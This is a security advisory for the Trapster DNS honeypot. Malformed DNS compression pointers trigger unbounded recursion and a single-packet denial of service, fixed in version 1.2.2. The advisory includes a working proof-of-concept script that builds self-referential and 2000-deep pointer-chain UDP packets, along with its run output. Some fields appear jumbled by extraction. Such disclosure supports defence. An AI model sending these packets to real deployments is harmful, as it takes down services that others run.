TRAPSTER · GHSA-mxwc-wh95-pw4g · Package
FIX → 1.2.2
A single unauthenticated UDP packet with malformed DNS name compression pointers makes the Trapster DNS honeypot raise a RecursionError that escapes the packet handler. Sustained packets cause repeated tracebacks and CPU use, denying service to the DNS honeypot module.
first public Jul 8, 2026 · 1 source
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Teams running the Trapster honeypot with the DNS module enabled and listening on a UDP port reachable from untrusted networks. Any host able to send UDP to that bind address and port can trigger the crash with one small packet. Deployments without the DNS module, or with it bound only to a private interface, have much less exposure.
Not affected if dns-module-disabled, non-reachable-bind-address
Who cares cwe-674, dns, honeypot, pypi, python, trapster
pip show trapster and compare against the fixed version below.trapster/libs/dns.py for decode_labels and whether it tracks visited offsets or limits pointer depth.Upgrade to 1.2.2
trapster.libs.dns.decode_labels() decodes DNS names from attacker-supplied UDP packets and recurses once per RFC 1035 compression pointer with no cycle detection and no depth bound. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising RecursionError. That exception is not handled anywhere on the datagram_received path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module).
Medium (CVSS:3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener.
trapster/libs/dns.py, function decode_labels() (called by decode_question_section → decode_dns_message).trapster/modules/dns.py, → , where is the raw attacker UDP payload received by on its configured bind address/port.Are you affected?
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trapster1.2.2DnsUdpProtocol.datagram_received()dns.decode_dns_message(data)dataDnsHoneypotmain at commit 23156739de23816657cbc4582ad32094ed1cab43.decode_labels implements RFC 1035 §4.1.4 name compression:
def decode_labels(message, offset):
labels = []
while True:
length, = struct.unpack_from("!B", message, offset)
if (length & 0xC0) == 0xC0:
pointer, = struct.unpack_from("!H", message, offset)
offset += 2
return labels + decode_labels(message, pointer & 0x3FFF), offset # <-- recurses per pointer
...
Each compression pointer triggers a fresh recursive call to decode_labels. There is:
Either shape exhausts the Python stack and raises RecursionError. decode_dns_message does not catch it, and in DnsUdpProtocol.datagram_received the call dns.decode_dns_message(data) is unguarded, so the exception propagates out of datagram_received into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop's default exception handler logs a full traceback for every packet.
This is the same class of bug fixed upstream in python-zeroconf (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had.
Real-deploy E2E. The actual trapster.modules.dns.DnsHoneypot server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes datagram_received.
e2e_poc.py:
import asyncio, struct, socket, sys
from trapster.modules.dns import DnsHoneypot
from trapster.logger.base import BaseLogger
HOST, PORT = "127.0.0.1", 15353
captured_loop_exceptions = []
def build_benign_query(qname=b"example.com"):
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
labels = b"".join(struct.pack("!B", len(p)) + p for p in qname.split(b".")) + b"\x00"
return header + labels + struct.pack("!2H", 1, 1)
def build_self_pointer():
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
name = struct.pack("!H", 0xC000 | 12) # pointer to offset 12 == this name
return header + name + struct.pack("!2H", 1, 1)
def build_pointer_chain(depth=2000):
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
name = struct.pack("!H", 0xC000 | 18)
qtail = struct.pack("!2H", 1, 1)
chain = bytearray()
for i in range(depth):
chain += struct.pack("!H", 0xC000 | (18 + 2 * (i + 1)))
chain += b"\x00"
return header + name + qtail + bytes(chain)
def send_udp(payload, timeout=1.0):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout)
s.sendto(payload, (HOST, PORT))
try: return s.recvfrom(4096)[0]
except socket.timeout: return None
finally: s.close()
async def main():
loop = asyncio.get_running_loop()
def handler(loopobj, context):
exc = context.get("exception")
captured_loop_exceptions.append((repr(exc), context.get("message")))
print(f"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get('message')}")
loop.set_exception_handler(handler)
hp = DnsHoneypot(config={"port": PORT, "target_dns": "127.0.0.1"},
logger=BaseLogger(node_id="e2e"), bindaddr=HOST)
await hp.start(); await asyncio.sleep(0.4)
print(f"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\n")
print("=== NEGATIVE CONTROL: benign query example.com A ===")
captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3)
print(f" loop exceptions after benign packet: {len(captured_loop_exceptions)}")
assert len(captured_loop_exceptions) == 0
print(" -> benign packet parsed cleanly, no exception\n")
print("=== VECTOR A: single self-referential compression pointer (cycle) ===")
captured_loop_exceptions.clear(); pkt = build_self_pointer()
print(f" packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)")
send_udp(pkt); await asyncio.sleep(0.5)
print(f" loop exceptions captured: {len(captured_loop_exceptions)}")
for e in captured_loop_exceptions: print(f" {e}")
assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
print(" -> RecursionError escaped datagram_received (DoS, no cycle guard)\n")
print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===")
captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000)
print(f" packet ({len(pkt)} bytes) = 2000-deep forward pointer chain")
send_udp(pkt); await asyncio.sleep(0.5)
print(f" loop exceptions captured: {len(captured_loop_exceptions)}")
for e in captured_loop_exceptions: print(f" {e}")
assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
print(" -> RecursionError escaped datagram_received (DoS, no depth bound)\n")
await hp.stop(); print("ALL ASSERTIONS PASSED")
if __name__ == "__main__":
sys.setrecursionlimit(1000)
asyncio.run(main())
Verbatim run against the deployed honeypot at commit 23156739de23816657cbc4582ad32094ed1cab43:
[deploy] DnsHoneypot listening on udp://127.0.0.1:15353
=== NEGATIVE CONTROL: benign query example.com A ===
loop exceptions after benign packet: 0
-> benign packet parsed cleanly, no exception
=== VECTOR A: single self-referential compression pointer (cycle) ===
packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself)
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
loop exceptions captured: 1
("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
-> RecursionError escaped datagram_received (DoS, no cycle guard)
=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===
packet (4019 bytes) = 2000-deep forward pointer chain
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
loop exceptions captured: 1
("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
-> RecursionError escaped datagram_received (DoS, no depth bound)
ALL ASSERTIONS PASSED
The negative control (a well-formed example.com A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input.
Any host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can c
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